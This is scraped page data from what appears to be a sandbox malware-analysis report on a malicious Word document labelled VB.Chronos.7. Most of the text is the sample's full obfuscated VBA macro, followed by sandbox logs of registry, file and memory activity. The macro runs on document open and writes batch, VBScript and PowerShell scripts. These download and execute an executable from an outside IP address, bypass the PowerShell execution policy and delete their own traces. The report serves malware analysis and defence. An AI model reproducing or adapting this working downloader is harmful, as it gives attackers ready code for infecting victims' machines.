24:I[10321,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/3h6zdc-it88if.js","/_next/static/chunks/2vw2j18d9u3gs.js","/_next/static/chunks/3l_wb6il5gi_h.js"],"ReportDetailWrapper"] 37:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T62d,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious VB.Chronos.7 — Falcon Sandbox Report — Score 100/100 — Sample 8b92c23b2942…","description":"Malicious verdict for sandbox report 5e99e70d81a0…. Malware family: VB.Chronos.7. Threat score 100/100. 7 malicious and 11 suspicious behavioral indicators across 41 signatures. Detonated in Windows 7 64 bit. View behavioral indicators, network activity, dropped files, and MITRE ATT\u0026CK mappings.","url":"/sample/8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de/5e99e70d81a0de676760bdfb","keywords":["Malicious","VB.Chronos.7","sandbox report","malware analysis","MITRE ATT\u0026CK","8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de"],"about":{"@type":"SoftwareApplication","name":"baddoc.doc","applicationCategory":"Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Sun Feb 8 19:56:00 2015, Last Saved Time/Date: Tue Feb 10 15:27:00 2015, Number of Pages: 1, Number of Words: 51, Number of Characters: 291, Security: 0","identifier":"8b92c23b29422131acc150fa1ebac67e1b0b0f8cfc1b727805b842a88de447de","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"VB.Chronos.7","sandboxEnvironment":"Windows 7 64 bit","behavioralIndicators":{"malicious":7,"suspicious":11,"totalSignatures":41},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T92c,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAGqElEQVR42s2X2U+UZxTGTZr0L/C+V6ZJL1qbtLax6U3b1GhjaltjSI21GtRia1s1tHGJqVIVxYpiBWTfYdgXkR0EXABlB9lnmH1lmIEZmO2bp+95v/mGGcVCml44ycPMsHzP7znnPecbNmx4VR9VbYMIVWXrACpa+rnKm/tR1tSLUlJDL0oanqK4/glkdT0oYiq8183UhQL2rFDoYDKZ8J8A1vvw+5mkZyZBAHxM+bVdOHkpjUMozeaXQ5xMNELSsZs6riPXZhEZO4XvYkYR8ccY9pwdxK7oHuw68Qjbj7VzffJDA7bsLw8ac/MQgLy7j6CxAhHHYv4dgozruhyrqrjVHlRWnY3rTtUc160SHTbvLVnV3MuUW/2AA0wbvPh4948vh5AAwsoK8YI+9sXr88PtIQlYdglwLvvgcPpWB2AvJICsyo4gwIDcifd3Rq4OQSUPBRD84eYerx8ud7j5gsPDAd6KyAsCFPcshimzvD0EwIHOESve2bb/RQjqNwGcThrHr3FDXNTrimYFN/8wIpmb0xnYe/oJF52BK/nGIIAQAKDHvMOLMbUD6WVtaBuyoKnPhNoePcofaCBrVQYhVgWgVKRDZ2v4xQ5f7Mfbu+LRPaTi34+KeYwPDtxFTNok4vJm8OZXmWEAS6xSAnvTPWZGemkrDkZfw77jsdhz9Dx2HjyFz749jo++juIQQQA67QRAF6GLkrlS5+SvyXTTjqscgCpC5hu37obV5uI/f2NHShgAJe8Zt8Dm9KK4Q4PCdjXy21TIb5IHlcuuEwZAo0annPpNVSAAWbOJp/08eoIDEMi2E0/56+irabDMu3kVngfIbzeiqNOAnFYdrlfIcadejfPZfVhc9sO+JGDeKSC76TkAmnECoH5T/wmALi6ZU7+l0lP6Z9MmmKwu/jsbP40PA4iVTSChWoHUBi0SqmZxp07DARaW/LAxAOuigMxGZTjAN6f6OACNGRnRWErmVHpaRNJ7Sk/mRouLV4sAxIkRASh5YaceeW163KpRIemeCGBnAPMOAXMMIK3hOQA68bRgCGDfmc6gmdZg5b3eeqSPv5fSk7nBsrwCEFg+ZPQy2Zx+WBmAZUFASp0qHIBKTAA0apu+lHGzssYB2BY8XPQ9Mk/IrRXNTS7ojMs4eaMbr2+NFRcP7QtaWLQz2NJacvvhcPlZ7wXeezKfY+Ymu4DEWs2LALRapSVDksypAnTgpLJL5hrDCoCMTvt9FfLYjOc0zyKrUYH0+hmk3ptG8t0pJNZM8tKb7D4YbD4k1GjDAeimIgHQhluPuQTw2nsXeOrQ5M6Q5FLfzSy9wSZAZ/UhvmoVAGkBSaItR3NOotNO/SaRaagIQEqe2SgPT149gb8rx5FQMQYjS6+fF6CZ8yGuQhcOQLdUuqmQaLWSaMPRjJPooEmikpPImLRh82/B1GLPxXm3sXmfc4jJRXMfN1dZfLhcbggHWO2RWd6BZVZSUlW3ARWP9Sh7qENJpxZFHWoUBHqeHUiexpKn8OSTweQ3y8cQX/YM10tGoWWlVzNzhcmLmBLj2gAZ7E7mpGSSXOFysB5TWtJCoN+U2hrsuW8luZWSezHLzGfYnfGczLwOgNL7WHQJ/DAFk7O9XsD2em6Lkq/TzAaWvC48+a2Q5H+x5HHFI7haNCyaG72Y0ntxunBubYC0kja+vShZqGihUFISnXBarZTYsiCOmdEmpqaS856bqew+nnySmY9rPfgtfx0AqcWt/MZBJkWBO5qUPENKXjuFJDbjt6tCkpcGkstGcKVoCLEFQ7iUPxg0f6b24ETu/NoAKbIWnoynCyQ0B+bZxPpLG81oF/hiocS6QGI1k9IsHjYqOX0amtB5MKYRzYdVHvySY1sbILmoWSyp3RcsLYkMDWyeJVOp1HTClUxxsmGe/HLBIE/+Z94AYnL7McrMh5QeDMx68FOWfR0AhU3chBvNe5l8XNo50VAypR4rTWKf5SYxMR20SUrNSj6qEVMPKt3cvE/hQVTGwtoASQVNfHw0c17RkI2RmokMVWY2UkxUZoVxpdSTeg83HqdyM42o3BhmqQeZcb/CjV65Gz3TbhxOX1wbIDG/kfdS0mygr2QoD5p6MB1IOxFIzI0DvR6adaOfqY8ZP50Rzbum3IhMc6wPgMr6oFeBuoczKG2RI6dejuRqNW6wu5mk69VaxFXqEFuhx8UyIy6UmnCu2Mxm3cLGzcpP/M/ZdhxlfT+SsYhIlv5g6joAbuc1IOrMTXzx/e/8U+yWnYfw7vYD/A//L70S/4X/A1vBZ5HJ+mtNAAAAAElFTkSuQmCC26:T3cc4,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "Sub Auto_Open() h End Sub Sub h() Dim MY_FILENDIR, ASDASDSA, MY_FILDIR, XPFILEDIR, JAISODJAS ds = 100 USER = Environ$("" & Chr(Asc(Chr(ds + 17))) + "s" & "er" & "na" & "me") jks = ds PST2 = "" & "a" + "do" & "be" & "ac" & "d-u" & "pd" & "a" & "te" & "" VBT2 = "" & "a" + Chr(100) + "o" & "b" & "ea" & "cd-up" & "da" & "te" & "" VBTXP2 = "" & "a" & Chr(100) & "o" & "be" + "ac" & "d-u" + "pd" + "atex" + "p" & "" BART2 = "" & "a" + Chr(100) & "o" & "b" & "e" + "ac" & "d-up" + "date" & "" PST1 = PST2 + "." + Chr(Asc("p")) + Chr(ds + 15) + "1" VBT1 = VBT2 + "." + Chr(118) + "b" + Chr(Asc("s")) + "" VBTXP = VBTXP2 + "." + Chr(Asc("v")) + Chr(Asc("b")) + "s" + "" BART = BART2 + Chr(Abs(46)) + Chr(Abs(98)) + Chr(Asc(Chr(Asc("a")))) + Chr(Asc(Chr(ds + 16))) + "" JSIQOJQ = BART2 + Chr(Abs(ds - 100 - 46)) + Chr(Abs(ds - 100 - 98)) + Chr(Asc(Chr(Abs(ds / 2 + 47)))) + Chr(Asc(Chr(ds + Fix(16.2)))) + "" & "" BART = JSIQOJQ MY_FILENDIR = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\AppData\Local\Temp\" + PST1 + "" & "" ASDASDSA = "c:\" + Chr(Asc("U")) + "sers\" + USER + "\App" + Chr(Asc("D")) + "ata\Local\" + Chr(Asc("T")) + "emp\" + BART MY_FILDIR = "c:\Users\" + USER + "\AppData\Local\Temp\" + VBT1 + "" XPFILEDIR = "c:\Windows\Temp\" + VBTXP TRT = "c:\Windows\Temp\" + BART KRT = TRT HYF = KRT NUWHDGJS = HYF JASHDUIQWHDKJQAD = ".44/upd/install" On Error Resume Next SetAttr MY_FILENDIR, vbNormal If (Len(Dir(MY_FILENDIR)) <> 0) Then Kill MY_FILENDIR End If On Error Resume Next SetAttr ASDASDSA, vbNormal If (Dir(ASDASDSA) <> "") Then Kill ASDASDSA End If On Error Resume Next SetAttr MY_FILDIR, vbNormal If (Dir(MY_FILDIR) <> "") Then Kill MY_FILDIR End If On Error Resume Next SetAttr XPFILEDIR, vbNormal If (Dir(XPFILEDIR) <> "") Then Kill XPFILEDIR End If Dim Uuwqdhj, FileNumber, FileNumb, FileNu, FileNuG, FileNs, mttt, jskw As Integer Dim retVal As Variant FileNumber = FreeFile FileNumb = FreeFile FileNu = FreeFile FileNukk = FreeFile FileNs = FreeFile Kasdwq = FreeFile FileNuG = FreeFile Dim objWMIService As Variant Dim colOperatingSystems As Variant Dim objOperatingSystem As Variant Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem In colOperatingSystems SysReport = SysReport & "The operating system on this computer is " & _ objOperatingSystem.Caption & " (" & objOperatingSystem.Version & ")" Next Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & ".\root\cimv2") Set colOperatingSystems = objWMIService.ExecQuery("Select * from Win32_OperatingSystem") For Each objOperatingSystem In colOperatingSystems winverstr = objOperatingSystem.Version Next winver = Val(winverstr) WaitFor (1) jskw = winver If (jskw <= 5.5) Then Open NUWHDGJS For Output As #Kasdwq Print #Kasdwq, "@echo off" Print #Kasdwq, ":pinkator" Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 2" + "" LKASHDUIQWHQUDKNBWQKJDHQ = "sakdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" Print #Kasdwq, "c" & "s" + "c" & "ri" & "pt" & ".e" & Chr(120) & "e " & Chr(34) & "c:\Windows\Temp" + "\" + VBTXP + Chr(34) + "" Print #Kasdwq, "pin" + "g 2.2.1.1 -n" & " 2" + "" Print #Kasdwq, "" & ":windows" AIYDHLKASHDUIQWHQUDKNBWQKJDHQ = "qwe23r32sakdj sdqwlksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" WQJHLKASHDUIQWHQUDKNBWQKJDHQ = "sa3244tgfdkdj lksajds" + "sakdj sakjd sakhd jhqwiudhquid gughg" Print #Kasdwq, "c:\W" + "indows\Te" + "mp\444" + "." + Chr(Asc("e")) + Chr(Asc("x")) + Chr(Asc("e")) Print #Kasdwq, ":loop" Print #Kasdwq, "pin" + "g 1.3.1.2 -n" & " 1" Print #Kasdwq, "set tar1=" + Chr(34) + BART + Chr(33 + 1) Print #Kasdwq, "del " + Chr(34) + "c:\Windows\Temp\" + VBTXP + Chr(34) Print #Kasdwq, "del " + Chr(34) + "c" & ":\" & "W" & "ind" & "ows\T" & "em" & "p\" + Chr(34) + "%tar1%" + "" & "" Print #Kasdwq, "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "emp\" + Chr(34) + "%tar1%" + " goto loop" + "" Print #Kasdwq, "if " + "exist " + Chr(34) + "c:\W" + "indows\T" + "emp\" + VBTXP + Chr(34) + " goto loop" Print #Kasdwq, "exit" Close #Kasdwq WaitFor (2) mttt = 88 Open XPFILEDIR For Output As #FileNumber Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://91.220.131" + JASHDUIQWHDKJQAD + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34) Print #FileNumber, "jfeuygq = " + Chr(34) + "4.e" + Chr(34) + "+" + Chr(34) + "xe" + Chr(34) Print #FileNumber, "strTecation = " + Chr(34) + "c:\" + Chr(Asc("W")) + "indows\" + Chr(Asc("T")) + "emp\44" + Chr(34) + "+" + "jfeuygq" Print #FileNumber, "khdfu =" + Chr(34) + "M" + Chr(34) + "+" + Chr(34) + "SX" + Chr(34) + "+" + Chr(34) + "ML2.X" + Chr(34) + "+" + Chr(34) + "MLH" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + Chr(34) + "T" + Chr(34) + "+" + "Chr(80)" Print #FileNumber, "Set objXML" + "H" + Chr(Asc("T")) + "TP = C" + "reate" + Chr(Asc("O")) + "bject(khdfu)" Print #FileNumber, "objXMLHTTP.open " + Chr(34) + "GET" + Chr(34) + " strRT False" JASHDJK = "send()" Print #FileNumber, "objXMLHTTP." + JASHDJK + " " Print #FileNumber, "If objXMLHTTP.Status = 200 Then" + "" & "" Print #FileNumber, "uwqhda = " + Chr(34) + "ADODB." + Chr(34) Print #FileNumber, "Set objADOStream = C" + "reateO" + "bject(uwqhda+Chr(Sgn(-4)+84)+" + Chr(34) + "tream" + Chr(34) + ")" Print #FileNumber, "objADOStream.Open " Print #FileNumber, "objADOStream.Type = 1" Print #FileNumber, "objADOStream.Write objXMLHTTP.Re" + "" + "sp" + "onse" + "Body " Print #FileNumber, "objADOStream.Position = 0 " Print #FileNumber, "objADOStream.S" & "aveToF" & "ile st" & "rT" & "ecation " + "" Print #FileNumber, "objADOStream.Close " Print #FileNumber, "Set objADOStream = Nothing " Print #FileNumber, "End if " Print #FileNumber, "Set objXMLHTTP = Nothing" Print #FileNumber, "Set objShell " & "=" + " " + Chr(Asc("C")) + "reate" + "O" + "bject(" + Chr(34) + "W" + "S" + "cript." + "S" + "hell" + Chr(34) + ")" + "" & "" Print #FileNumber "" Close #FileNumber WaitFor (1) ASKJD = TRT retVal = Shell(ASKJD, 0) End If If (winver > 5.5) Then Open MY_FILENDIR For Output As #FileNumber Print #FileNumber "$down = " + Chr(Asc("N")) & "ew" & "-" & Chr(79) & "bject " & Chr(Asc(Chr(Asc("S")))) & "y" & "stem." & Chr(78) & "et." & Chr(87) & "eb" & "Cli" & "ent;" Print #FileNumber "$url = '" + Chr(Asc(Chr(Asc("h")))) + Chr(Asc(Chr(Asc("t")))) + Chr(Asc("t")) + Chr(Asc(Chr(Asc("p")))) + "://91.220.131" + JASHDUIQWHDKJQAD & ".e" & "x" + "e';" Print #FileNumber "$file = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "4" & "44." + Chr(101) & "xe';" Print #FileNumber "$down.headers[" + Chr(39) + "User-Agent" + Chr(39) + "] = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Saf" & "ari/600.1.25'" + "+''" + "" + ";" Print #FileNumber "$d" + "o" & Chr(Asc("w")) + "n" & "." & Chr(68) & "ow" & "nloa" & "dFi" & "le($u" & "rl,$" & "file);" Print #FileNumber "$ScriptDir = $MyInvocation.ScriptName;" Print #FileNumber "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';" Print #FileNumber "$vbsFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + VBT2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "v" + Chr(39) + Chr(43) + Chr(39) + "bs" + Chr(39) + ";" Print #FileNumber "$b" + "a" + "tFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + BART2; Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "b" + Chr(39) + Chr(43) + Chr(39) + "at" + Chr(39) + ";" Print #FileNumber "$p" + "sFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + PST2 + Chr(39) + Chr(43) + Chr(39) + "." + Chr(39) + Chr(43) + Chr(39) + "p" + Chr(39) + Chr(43) + Chr(39) + "s1" + Chr(39) + ";" Print #FileNumber "Start-Sleep -s 15;" Print #FileNumber "c" & Chr(109) & "d.e" & Chr(120) & "e /c 'c:\Users\" + USER + "\AppData\Local\Temp" + "\444.e" & Chr(120) & "e'; " Print #FileNumber "$file1 = gci $" + "v" + "b" + "sFilePath -Force" Print #FileNumber "$file2 = gci $" + "b" + "a" + "t" + "FilePath -Force" Print #FileNumber "$file3 = gci $" + "p" + "s" + "F" + "ilePath -Force" Print #FileNumber "If (Test-Path $vbsFilePath){ Remove-Item $vbsFilePath }" Print #FileNumber "If (Test-Path $batFilePath){ Remove-Item $batFilePath }" Print #FileNumber "$psHello = 'aisdjhiqowhdiq';" Print #FileNumber "If (Test-Path $someFilePath){ Remove-Item $someFilePath }" Print #FileNumber "Remove-Item $MyINvocation.InvocationName" Close #FileNumber Open MY_FILDIR For Output As #FileNumb Print #FileNumb "Dim dff" Print #FileNumb "dff = 68" Print #FileNumb "c" & "ur" & Chr(Asc("r")) & "ent" + Chr(Asc("D")) + "irec" + "tory = left(WSc" & "ript.ScriptFullName," & "(L" + "en(W" + "S" + "cri" + "pt.Sc" + "riptFullName))-(len(W" + "Sc" + "ript.ScriptName)))" Print #FileNumb "S" & "et o" & "bj" & Chr(Asc("F")) & "SO=C" & "re" & "at" & "eO" & "b" & "je" & "ct(" & Chr(34) & Chr(34) & Chr(34) & "&" & "S" & Chr(34) & Chr("&") & Chr(34) & "cr" & "ipt" & "ing.F" & "ileS" & "ystem" & "Ob" & "ject" & Chr(34) & ")" Print #FileNumb "cur" + "rent" + Chr(Asc("F")) + "ile = " & Chr(34) & "C:\" & Chr(Asc("U")) & "sers\" + USER + "\AppData\Local\Temp" + "\" + PST2 + Chr(34) + "&" + Chr(34) + "." + Chr(34) + "&" + Chr(34) + "p" + Chr(34) + "&" + Chr(34) + "s1" + Chr(34) Print #FileNumb "" & Chr(83) & "et " & Chr(111) & "bj" & Chr(83) & "he" + Chr(Asc("l")) + Chr(Asc("l")) + " = " & Chr(Sgn(-4) + 68) + "reate" & Chr(79) & Chr(98) & "ject(" & Chr(34) & "W" & Chr(115) & "cript." & Chr(115) & "hell" & Chr(34) & ")" + "" Print #FileNumb "" & Chr(111) & "bj" & Chr(83) & "hell" & Chr(46) & Chr(82) & "un " & Chr(34) & "p" & Chr(111) & "wer" & Chr(83) + Chr(34) + "+" + Chr(34) & "hell.e" & Chr(120) & "e -n" & Chr(111) & "exit -Exe" & "cutionP" & Chr(111) & "licy" & " byp" & "ass -n" & Chr(111) & "pr" & Chr(111) & "file -file " & Chr(34) & " & currentFile,0,true" Print #FileNumb "" Close #FileNumb Open ASDASDSA For Output As #FileNs Print #FileNs "@echo off" Print #FileNs "ping 1.1.2.2 -n" & " 2" Print #FileNs "chcp 1251" Print #FileNs ":csakclasjdklas" Print #FileNs "set Var1=" + Chr(34) + "." + Chr(34) Print #FileNs "set Var2=" + Chr(34) + "v" + Chr(34) Print #FileNs "set Var3=" + Chr(34) + "bs" + Chr(34) Print #FileNs "set Var4=" + Chr(34) & "c:\Users\" + USER + "\AppData\Local\Temp" + "\" + VBT2 + Chr(34) Print #FileNs "c" & "sc" & "ri" & "pt" & Chr(46) + Chr(101) & Chr(120) & "e " & "%Var4%" + "%Var1%%Var2%%Var3%" Print #FileNs "exit" Close #FileNs SetAttr MY_FILENDIR vbNormal SetAttr ASDASDSA vbNormal SetAttr MY_FILDIR vbNormal WaitFor (1) SJAKLD = ASDASDSA retVal = Shell(SJAKLD, 0) End If findTest secondTest For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "<" & "sel" & "ect>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "</s" & "ele" & "ct>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "<" & "in" & "box>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange For Each myStoryRange In ActiveDocument.StoryRanges With myStoryRange.Find .Text = "</" & "in" & "box>" .Replacement.Text = " " .Wrap = wdFindContinue .Execute Replace:=wdReplaceAll End With Next myStoryRange End Sub Sub WaitFor(NumOfSeconds As Long) Dim SngSec As Long SngSec = Timer + NumOfSeconds Do While Timer < SngSec DoEvents Loop End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub Sub findTest() Dim firstTerm As String Dim secondTerm As String Dim rrtt As Range Dim selRange As Range Dim selectedText As String UYAS = "" Set rrtt = ActiveDocument.Range firstTerm = "" + "<" + "s" + "e" & "le" + "ct>" + UYAS + "" secondTerm = "<" + "/" + "se" + "l" & "ec" + "t>" ASKASAIEJ = "ask as8d j dnkjh12kh1 sad" With rrtt.Find .Text = firstTerm .MatchWholeWord = True .Execute ASKUKKIEJ = "aasdlkasjdask as8d j dnkjh12kh1 sad" rrtt.Collapse direction:=wdCollapseEnd Set selRange = ActiveDocument.Range selRange.Start = rrtt.End .Text = secondTerm .MatchWholeWord = True .Execute ASKSASADW = "asjldklas" rrtt.Collapse direction:=wdCollapseStart selRange.End = rrtt.Start selectedText = selRange.Delete End With End Sub Sub secondTest() Dim firstTerm As String Dim secondTerm As String Dim myRanget As Range Dim yytt As Range Dim selRanget As Range Dim selectedTextt As String Set yytt = ActiveDocument.Range SKHDAJKHASJ = "aslkdjk sadksaj ksaljd klsajd ksajd KSJDKASL JD" firstTerm = "<" + "in" & "bo" + "x>" secondTerm = "</" + "in" & "bo" + "x>" With yytt.Find .Text = firstTerm .MatchWholeWord = True .Execute ASKIEJ = "ask as8d j dnkjh12kh1 sad" yytt.Collapse direction:=wdCollapseEnd Set selRanget = ActiveDocument.Range selRanget.Start = yytt.End .Text = secondTerm .MatchWholeWord = True .Execute yytt.Collapse direction:=wdCollapseStart selRanget.End = yytt.Start selectedTextt = selRanget selRanget.Font.Color = wdColorBlack End With End Sub", File "UserForm1.frm" (Streampath: "Macros/VBA/UserForm1") has code: ""27:T97d,"WINWORD.EXE" touched "Computer" (Path: "HKCU\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\SHELLFOLDER") "WINWORD.EXE" touched "Memory Mapped Cache Mgr" (Path: "HKCU\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}") "WINWORD.EXE" touched "SAX XML Reader 6.0" (Path: "HKCU\CLSID\{88D96A0C-F192-11D4-A65F-0040963251E5}") "WINWORD.EXE" touched "MXXMLWriter 6.0" (Path: "HKCU\CLSID\{88D96A0F-F192-11D4-A65F-0040963251E5}\TREATAS") "WINWORD.EXE" touched "OneNote Word Add-In Take Notes Content Service Class" (Path: "HKCU\CLSID\{C580A1B2-5915-4DC3-BE93-8A51F4CAB320}\INPROCSERVER32") "WINWORD.EXE" touched "PersistentZoneIdentifier" (Path: "HKCU\CLSID\{0968E258-16C7-4DBA-AA86-462DD61E31A3}\TREATAS") "WINWORD.EXE" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "WINWORD.EXE" touched "Microsoft Word-Vorlage mit Makros" (Path: "HKCU\CLSID\{8A624388-AA27-43E0-89F8-2A12BFF7BCCD}\IMPLEMENTED CATEGORIES\{00021490-0000-0000-C000-000000000046}") "WINWORD.EXE" touched "Microsoft Word-Dokument" (Path: "HKCU\CLSID\{F4754C9B-64F5-4B40-8AF4-679732AC0607}\TREATAS") "WINWORD.EXE" touched "Microsoft Word 97-2003-Dokument" (Path: "HKCU\CLSID\{00020906-0000-0000-C000-000000000046}\TREATAS") "WINWORD.EXE" touched "Microsoft Word-Dokument mit Makros" (Path: "HKCU\CLSID\{18A06B6B-2F3F-4E2B-A611-52BE631B2D22}\TREATAS") "WINWORD.EXE" touched "Microsoft Word-Vorlage" (Path: "HKCU\CLSID\{912ABC52-36E2-4714-8E62-A8B73CA5E390}\TREATAS") "WINWORD.EXE" touched "Microsoft Word-Vorschau" (Path: "HKCU\CLSID\{84F66100-FF7C-4FB4-B0C0-02CD7FB668FE}\TREATAS") "WINWORD.EXE" touched "OpenDocument-Text" (Path: "HKCU\CLSID\{1B261B22-AC6A-4E68-A870-AB5080E8687B}\TREATAS") "WINWORD.EXE" touched "Microsoft Word Picture" (Path: "HKCU\CLSID\{00020907-0000-0000-C000-000000000046}\TREATAS") "WINWORD.EXE" touched "Microsoft Forms 2.1 FormPackage" (Path: "HKCU\CLSID\{AC9F2F90-E877-11CE-9F68-00AA00574A4F}\TREATAS") "WINWORD.EXE" touched "Microsoft Forms 2.0 Form" (Path: "HKCU\CLSID\{C62A69F0-16DC-11CE-9E98-00AA00574A4F}\MISCSTATUS") "WINWORD.EXE" touched "Microsoft Forms 2.1 DataObject" (Path: "HKCU\CLSID\{1C3B4210-F441-11CE-B9EA-00AA006B1A69}\CONTROL") "WINWORD.EXE" touched "Microsoft Forms 2.1 FontNew" (Path: "HKCU\CLSID\{AFC20920-DA4E-11CE-B943-00AA006887B4}\CONTROL") "WINWORD.EXE" touched "Wbem Scripting Object Path" (Path: "HKCU\CLSID\{172BDDF8-CEEA-11D1-8B05-00600806D9B6}\TREATAS")28:T5ce,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\setupapi.dll.mui" "WINWORD.EXE" touched file "C:\Users\mNIuxVc\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000017.db" "WINWORD.EXE" touched file "C:\Windows\System32\rsaenh.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A6E856C3-B2D6-40EC-93D2-6357C746E219}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{C126F312-656C-4004-B459-2F684E5F864C}.tmp"29:T87b,"WINWORD.EXE" wrote bytes "0010f3fcfe070000" to virtual address "0xFCF4FE50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "cd5eb699dd14d601" to virtual address "0x3F253258" (part of module "WINWORD.EXE") "WINWORD.EXE" wrote bytes "4013f3fcfe070000" to virtual address "0xFCF4FB48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "4013f3fcfe070000" to virtual address "0xFCF4FE10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0010f3fcfe070000" to virtual address "0xFCF4FE18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e9abc073ffcc" to virtual address "0xFE1F4060" ("SysAllocStringByteLen@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "e1040a99dd14d601" to virtual address "0xEA932350" (part of module "OART.DLL") "WINWORD.EXE" wrote bytes "27730a99dd14d601" to virtual address "0xF53BFA00" (part of module "GFX.DLL") "WINWORD.EXE" wrote bytes "48b81016edf9fe070000ffe0" to virtual address "0xFCF31000" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0dfc7499dd14d601" to virtual address "0xF303DE48" (part of module "RICHED20.DLL") "WINWORD.EXE" wrote bytes "48b8e011edf9fe070000ffe0" to virtual address "0xFE4B1000" (part of module "WS2_32.DLL") "WINWORD.EXE" wrote bytes "0010f3fcfe070000" to virtual address "0xFCF4FB18" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e933f073ff" to virtual address "0xFE1F1180" ("VariantClear@OLEAUT32.DLL") "WINWORD.EXE" wrote bytes "4013f3fcfe070000" to virtual address "0xFCF4FE48" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "0010f3fcfe070000" to virtual address "0xFCF4FB50" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "e913b0e9ff" to virtual address "0xFDA950C0" ("OleLoadFromStream@OLE32.DLL") "WINWORD.EXE" wrote bytes "4013f3fcfe070000" to virtual address "0xFCF4FB10" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "48b86013edf9fe070000ffe0" to virtual address "0xFCF31340" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "00100000" to virtual address "0xFCF48468" (part of module "SSPICLI.DLL") "WINWORD.EXE" wrote bytes "40130000" to virtual address "0xFCF48538" (part of module "SSPICLI.DLL")2a:T460,Found suspicious keyword "Shell" which indicates: "May run an executable file or a system command" Found suspicious keyword "Chr" which indicates: "May attempt to obfuscate specific strings (use option --deobf to deobfuscate)" Found 